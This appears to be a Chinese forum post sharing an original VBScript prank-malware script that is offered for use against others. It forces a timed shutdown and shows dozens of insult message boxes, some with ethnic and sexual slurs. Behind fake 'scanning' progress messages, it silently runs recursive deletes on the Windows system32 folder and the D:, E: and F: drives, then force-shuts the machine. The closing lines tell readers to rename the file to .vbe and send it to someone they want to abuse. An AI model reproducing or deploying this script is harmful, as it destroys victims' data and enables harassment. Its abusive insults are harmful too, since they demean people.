on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 300 -c ""说我是千年老SB,不说就5分钟关你机,不信,试试???..大象之诅咒"" ",0 ,true
dim a
do while(a <> "我是千年老SB")
a = inputbox ("说我是千年老SB,就不关机,快撒,说 ""我是千年老SB"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛SB"
msgbox chr(13) + chr(13) + chr(13) + "进化不完全的生命体,基因突变的外星人,"
msgbox chr(13) + chr(13) + chr(13) + "幼稚园程度的高中生,先天蒙古症的青蛙头,"
msgbox chr(13) + chr(13) + chr(13) + "圣母峰雪人的弃婴,化粪池堵塞的凶手,"
msgbox chr(13) + chr(13) + chr(13) + "非洲人搞上黑*的后裔,阴阳失调的黑猩猩,"
msgbox chr(13) + chr(13) + chr(13) + "被诺亚方舟压过的河马,新火山喷发口, "
msgbox chr(13) + chr(13) + chr(13) + "超大无耻传声扩音喇叭,爱斯基摩人的耻辱,"
msgbox chr(13) + chr(13) + chr(13) + "和蟑螂共存活的超个体,生命力腐烂的半植物, "
msgbox chr(13) + chr(13) + chr(13) + "会发出臭味的垃圾人,“唾弃“名词的源头,"
msgbox chr(13) + chr(13) + chr(13) + "每天退化三次的恐龙,人类历史上最强的废材, "
msgbox chr(13) + chr(13) + chr(13) + "上帝失手摔下来的旧洗衣机,能思考的无脑袋生物, "
msgbox chr(13) + chr(13) + chr(13) + "损毁亚洲同胞名声的祸害,祖先为之蒙羞的子孙,"
msgbox chr(13) + chr(13) + chr(13) + "沉积千年的腐植质,科学家也不敢研究的原始物种"
msgbox chr(13) + chr(13) + chr(13) + "10倍石油浓度的沉积原料,被毁容的麦当劳叔叔, "
msgbox chr(13) + chr(13) + chr(13) + "像你这种可恶的家伙 : "
msgbox chr(13) + chr(13) + chr(13) + "只能演电视剧里的一陀粪,"
msgbox chr(13) + chr(13) + chr(13) + "比不上路边被狗洒过尿的口香糖,"
msgbox chr(13) + chr(13) + chr(13) + "连如花都帅你10倍以上,"
msgbox chr(13) + chr(13) + chr(13) + "找女朋友得去动物园甚至要离开地球,"
msgbox chr(13) + chr(13) + chr(13) + "想要自杀只会有人劝你不要留下尸体以免污染环境,"
msgbox chr(13) + chr(13) + chr(13) + "你摸过的键盘上连阿米吧原虫都活不下去,"
msgbox chr(13) + chr(13) + chr(13) + "喷出来的口水比SARS还致命, "
msgbox chr(13) + chr(13) + chr(13) + "装可爱的话可以瞬间解决人口膨胀的问题, "
msgbox chr(13) + chr(13) + chr(13) + "耍酷装帅的话人类就只得用无性生殖, "
msgbox chr(13) + chr(13) + chr(13) + "白痴可以当你的老师,智障都可以教你说人话,"
msgbox chr(13) + chr(13) + chr(13) + "只要你抬头臭氧层就会破洞 "
msgbox chr(13) + chr(13) + chr(13) + "要移民火星是为了要离开你,"
msgbox chr(13) + chr(13) + chr(13) + "如果你的丑陋可以发电的话全世界的核电厂都可以停摆, "
msgbox chr(13) + chr(13) + chr(13) + "去打仗的话子弹飞弹会忍不住向你飞,"
msgbox chr(13) + chr(13) + chr(13) + "手榴弹看到你会自爆, "
msgbox chr(13) + chr(13) + chr(13) + "别人要开飞机去撞双子星才行而你只要跳伞就有同样的威力"
msgbox chr(13) + chr(13) + chr(13) + "你去过的名胜全部变古迹,你去过的古迹会变成历史, "
msgbox chr(13) + chr(13) + chr(13) + "18辈子都没干好事才会认识你,连丢进太阳都嫌不够环保 "
msgbox chr(13) + chr(13) + chr(13) + "反正横竖一句话:别让我再看见你,要是见着了你, "
msgbox chr(13) + chr(13) + chr(13) + "我一定要把你灭了!"
msgbox chr(13) + chr(13) + chr(13) + "请等待扫描。。。不让会直接关闭!"
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c del /s /q C:WINDOWSsystem32",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "说你胸无点墨 "
msgbox chr(13) + chr(13) + chr(13) + "你像国足的球迷一样疯狂 "
msgbox chr(13) + chr(13) + chr(13) + "说你长相怪异 "
msgbox chr(13) + chr(13) + chr(13) + "你像喝了三鹿一样营养不良 "
msgbox chr(13) + chr(13) + chr(13) + "说你胡诌八扯"
msgbox chr(13) + chr(13) + chr(13) + "就像祖德的大嘴一样混淆黑白 "
msgbox chr(13) + chr(13) + chr(13) + "说你黑嘴黑牙 "
msgbox chr(13) + chr(13) + chr(13) + "好比阎王出的告示一样鬼话连篇 "
msgbox chr(13) + chr(13) + chr(13) + "说你不懂得说话艺术 "
msgbox chr(13) + chr(13) + chr(13) + "你就不要装强到处胡乱卖弄 "
msgbox chr(13) + chr(13) + chr(13) + "只会显示出你无知背后的无耻 "
msgbox chr(13) + chr(13) + chr(13) + "说你面相秀气 "
msgbox chr(13) + chr(13) + chr(13) + "只是为了掩饰自己缺少的霸气 "
msgbox chr(13) + chr(13) + chr(13) + "说你能言善变 "
msgbox chr(13) + chr(13) + chr(13) + "只是为了掩盖自己缺乏风格气质 "
msgbox chr(13) + chr(13) + chr(13) + "可怜的倒霉孩子 "
msgbox chr(13) + chr(13) + chr(13) + "咱碰上你就有种赌博赢钱的心情不能自拔~不喷不行的感觉"
msgbox chr(13) + chr(13) + chr(13) + "咱都不知道说你点啥好~自己黑嘴黑牙的·还感觉蛮骄傲的~~"
msgbox chr(13) + chr(13) + chr(13) + "你就好比AV里面那个主演似的~~被人家群p了你心里还无比的喜悦还面带笑容的~ "
msgbox chr(13) + chr(13) + chr(13) + "哎~阿拉蕾都打不破的脸皮 ~~你这不要脸境界真是高~"
msgbox chr(13) + chr(13) + chr(13) + "贱就贱得从容点,彻底点,贱到义无返顾!这样才能体现你原本的性格 "
msgbox chr(13) + chr(13) + chr(13) + "你还知不知道死字是怎么写 ? "
msgbox chr(13) + chr(13) + chr(13) + "小学都没毕业的文化~你还装上文化人了 "
msgbox chr(13) + chr(13) + chr(13) + "睡觉给你睡出幻觉了! 是不是?"
msgbox chr(13) + chr(13) + chr(13) + "我骂你是无罪的!你这臭不要脸的!"
msgbox chr(13) + chr(13) + chr(13) + "算了!骂你只是浪费我的口水,对你这种人我不值得也没那个必要! "
msgbox chr(13) + chr(13) + chr(13) + "请稍等,如果强行关闭计算机将关闭。。。"
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c del /s /q e:",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "长的惊险.....有创意啊 "
msgbox chr(13) + chr(13) + chr(13) + "你长的很爱国,很敬业,很有骨气! "
msgbox chr(13) + chr(13) + chr(13) + "长得真有创意,活得真有勇气! "
msgbox chr(13) + chr(13) + chr(13) + "你长的真tm后现代 "
msgbox chr(13) + chr(13) + chr(13) + "你长的好象车祸现场 "
msgbox chr(13) + chr(13) + chr(13) + "你长的外形不准 比例没打好 "
msgbox chr(13) + chr(13) + chr(13) + "你干嘛用屁股挡住脸啊!"
msgbox chr(13) + chr(13) + chr(13) + "我觉得世界上就只有两种人能吸引人,一种是特漂亮的一种就是你这样的 "
msgbox chr(13) + chr(13) + chr(13) + "你的长相很提神的说!! "
msgbox chr(13) + chr(13) + chr(13) + "你需要回炉重造 "
msgbox chr(13) + chr(13) + chr(13) + "他们怎么能管你叫猪呢??这太不像话了!总不能人家长的像什么就叫人家什么吧!怎么能说你长得像猪呢?那是侮辱了猪。"
msgbox chr(13) + chr(13) + chr(13) + "靠,你TMD长得太好认了。"
msgbox chr(13) + chr(13) + chr(13) + "长的很科幻,长的很抽象! "
msgbox chr(13) + chr(13) + chr(13) + "见过丑的,没见过这么丑的。乍一看挺丑,仔细一看更丑!"
msgbox chr(13) + chr(13) + chr(13) + "长的很无辜,长的对不起人民对不起党。 "
msgbox chr(13) + chr(13) + chr(13) + "你长的拖慢网速,你长的太耗内存 "
msgbox chr(13) + chr(13) + chr(13) + "你光着身子追我两公里 我回一次头都算我是流氓! "
msgbox chr(13) + chr(13) + chr(13) + "大哥,把你脸上的分辨率调低点好吗? "
msgbox chr(13) + chr(13) + chr(13) + "国际脸孔世界通用 "
msgbox chr(13) + chr(13) + chr(13) + "很惋惜的看着他说:“手术能整回来吗?“ "
msgbox chr(13) + chr(13) + chr(13) + "你张的很野兽派嘛!! "
msgbox chr(13) + chr(13) + chr(13) + "你还没有进化完全,长的象人真的难为你了。 "
msgbox chr(13) + chr(13) + chr(13) + "我想看着你说话,可你为什么把脸埋在你的屁股里?...哦?对不起,我不知道那是你的脸,那你的屁股哪儿去了?"
msgbox chr(13) + chr(13) + chr(13) + "我也不想打击你了。你去动物园看看有没有合适的工作适合你,你这样在街上乱跑很容易被警察射杀的。"
msgbox chr(13) + chr(13) + chr(13) + "请稍等,计算机扫描中即将关闭关机程序。。。"
msgbox chr(13) + chr(13) + chr(13) + "20%"
msgbox chr(13) + chr(13) + chr(13) + "45%"
msgbox chr(13) + chr(13) + chr(13) + "60%"
msgbox chr(13) + chr(13) + chr(13) + "81%"
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c del /s /q d:",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "97%"
msgbox chr(13) + chr(13) + chr(13) + "对不起。。读取失败.。。"
msgbox chr(13) + chr(13) + chr(13) + "骂完后。进行第二次尝试。。"
msgbox chr(13) + chr(13) + chr(13) + "男人的四大理想:天上纷纷掉钞票,天下美男都死掉,美女脑子都坏掉,哭着喊着让我泡. "
msgbox chr(13) + chr(13) + chr(13) + "丑女一回头,吓死一头牛;丑女二回头,黄河瀑布水倒流;丑女三回头,泰森改打乒乓球! "
msgbox chr(13) + chr(13) + chr(13) + "男人四怕:怕小姐有病,怕情人怀孕,怕群众写信,怕老婆自尽。你怕啥?"
msgbox chr(13) + chr(13) + chr(13) + "这段日子以来,我一直想对你说三个字,但又怕说了连普通朋友也做不成,可我控制不住,还是想说:借点钱! "
msgbox chr(13) + chr(13) + chr(13) + "脑筋急转弯:一只猪过马路被车撞死了,为什么?告诉你吧,是猪不会急转弯。"
msgbox chr(13) + chr(13) + chr(13) + "老婆无味,情人太累,小姐太贵,没事开个同学会,拆散一对是一对 "
msgbox chr(13) + chr(13) + chr(13) + "克林顿睡觉是国睡 乞丐睡觉是地税 和老婆睡觉是依法纳税 和情人睡觉是偷税漏税 和小姨子睡觉是增值税 "
msgbox chr(13) + chr(13) + chr(13) + "读出下面的字,你将获得月薪2000000的工作,试题如下:簟璁醭歙艽绱癀穑魍旃偬彘硪钚鲥硐蓰。"
msgbox chr(13) + chr(13) + chr(13) + "警告。你的手机由于黑客侵入信号系统,电池即将被引爆。请立即将手机电池取下扔出五米距离。切切。 "
msgbox chr(13) + chr(13) + chr(13) + "兄弟!请不要在每次放屁后低头猛吸就以为能把屁味吸光!:p"
msgbox chr(13) + chr(13) + chr(13) + "啊!你的皮肤如此富有光泽,你散发的香味如此难以抗拒,让我狠狠咬你一口吧,我亲爱的--红烧肉。"
msgbox chr(13) + chr(13) + chr(13) + "人家捞,你不捞,老婆说你是草包;人家赌,你不赌,背后说你二百五;人家嫖,你不嫖,大伙一起造你谣 "
msgbox chr(13) + chr(13) + chr(13) + "人生四大悲:久旱逢甘霖-不停;他乡遇故知-借钱;洞房花烛夜-不举;金榜题名时-别人 "
msgbox chr(13) + chr(13) + chr(13) + "猪的四大愿望:四周栅栏都倒掉,天上纷纷掉饲料。天下屠夫都死掉,世界人民信佛教。 "
msgbox chr(13) + chr(13) + chr(13) + "天大地大不如老婆大;爹亲娘亲不如小姐亲;千好万好不如二奶好! "
msgbox chr(13) + chr(13) + chr(13) + "只爱一个有点傻,爱上两个最起码,三个五个刚合适,十个八个才潇洒。 "
msgbox chr(13) + chr(13) + chr(13) + "山外青山楼外楼,你不爱我我不愁。世上美女到处有,她会比你更温柔! "
msgbox chr(13) + chr(13) + chr(13) + "投保:男朋友是准客户,老公是客户,结婚是签单,离婚是退保,再婚是续保,找老二是加保 "
msgbox chr(13) + chr(13) + chr(13) + "这是有“屎”以来最有“粪”量的祝福 "
msgbox chr(13) + chr(13) + chr(13) + "有三个字一直藏在我的心底不敢对你说。现在我终于鼓足了勇气:“去死吧!” "
msgbox chr(13) + chr(13) + chr(13) + "那天我看见你拿到狂砍一只猪,猪跑到一个死胡同,只听见猪大叫:“本是同根生,相煎何太急!” "
msgbox chr(13) + chr(13) + chr(13) + "你如果收到本信息,证明你手机以感染病毒,请马上取出手机卡,用汽油刷洗。"
msgbox chr(13) + chr(13) + chr(13) + "网上无计可消愁,聊天解烦忧,忽见美眉在招手,顿首顿首,关掉其他窗口,聊到最后,是一北方老叟,作呕作呕! "
msgbox chr(13) + chr(13) + chr(13) + "不许动!抢劫!全部举起手来!男的站左边,女的站右边,变态的站中间,哎!说的就是你,还装着看手机!"
msgbox chr(13) + chr(13) + chr(13) + "美眉美眉我爱你!先用话语感动你,再用行动打动你,买个戒指送给你,再用劳斯莱斯去娶你!(你愿意吗?) "
msgbox chr(13) + chr(13) + chr(13) + "嫖客:万水千山总是情,少给十块行不行;妓女:人间哪有真情在,多赚十块是十块。 "
msgbox chr(13) + chr(13) + chr(13) + "有一个女生去牧场见习挤牛奶,可别人都挤了一桶了,她还只挤了一点,正着急,突然老牛说了:小姐,你挤错地方了! "
msgbox chr(13) + chr(13) + chr(13) + "强匪发现保险柜里头全都是果冻,他一气之下,把所有果冻都吃掉。隔天报纸的头条是这么写的 ※疯狂歹徒,精子银行被盗※ "
msgbox chr(13) + chr(13) + chr(13) + "猎人发现一只猪,举起猎熗打死了猪,猎人走近猪,猪却起来了,知道为什么?猜不到?—猪也正纳闷呢"
msgbox chr(13) + chr(13) + chr(13) + "最后一次读取开始。。。"
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c del /s /q f:",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "对不起。。读取失败。。即将关闭。。"
do while(a <> "愿意")
a = inputbox ("说你愿不愿意关机。说是就关机,说不是就慢慢=吧,快撒,说 ""愿意"" ","说不说","不愿意",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown /f",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "自己重装系统吧。。"
放入文本。把TXT改成VBE就可以了。
可以给你想骂的人,一边骂一边删系统和硬盘。。。骂完必关机。。让他再也见不到可爱的WINDOS。
O(∩_∩)O~原创哟!~!~!